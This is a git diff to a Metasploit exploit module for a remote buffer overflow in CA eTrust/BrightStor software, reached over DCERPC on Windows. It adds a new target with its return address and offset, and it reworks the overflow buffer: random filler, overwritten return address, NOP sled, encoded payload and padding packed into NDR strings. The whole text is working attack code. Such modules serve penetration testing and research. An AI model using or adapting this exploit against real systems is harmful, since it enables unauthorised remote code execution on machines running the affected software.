diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb index e761c775b2..70e7c34841 100644 --- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb +++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb @@ -50,8 +50,9 @@ class Exploits::Windows::Brightstor::Etrust_ITM_Alert < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Windows 2003 SP0 English', { 'Ret' => 0x77e03efb } ], - [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], + [ 'Windows 2003 SP0 English', { 'Offset' => 979, 'Ret' => 0x77e03efb } ], + [ 'Windows 2000 SP4 English', { 'Offset' => 979, 'Ret' => 0x7c30d043 } ], + [ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui ], 'DisclosureDate' => 'Apr 4 2008', 'DefaultTarget' => 0)) @@ -73,8 +74,9 @@ class Exploits::Windows::Brightstor::Etrust_ITM_Alert < Msf::Exploit::Remote dcerpc_bind(handle) print_status("Bound to #{handle} ...") - filler = rand_text_english(979) + [target.ret].pack('V') + make_nops(12) + payload.encoded - + filler = rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12) + filler << payload.encoded + rand_text_english(772) + sploit = NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00") sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0)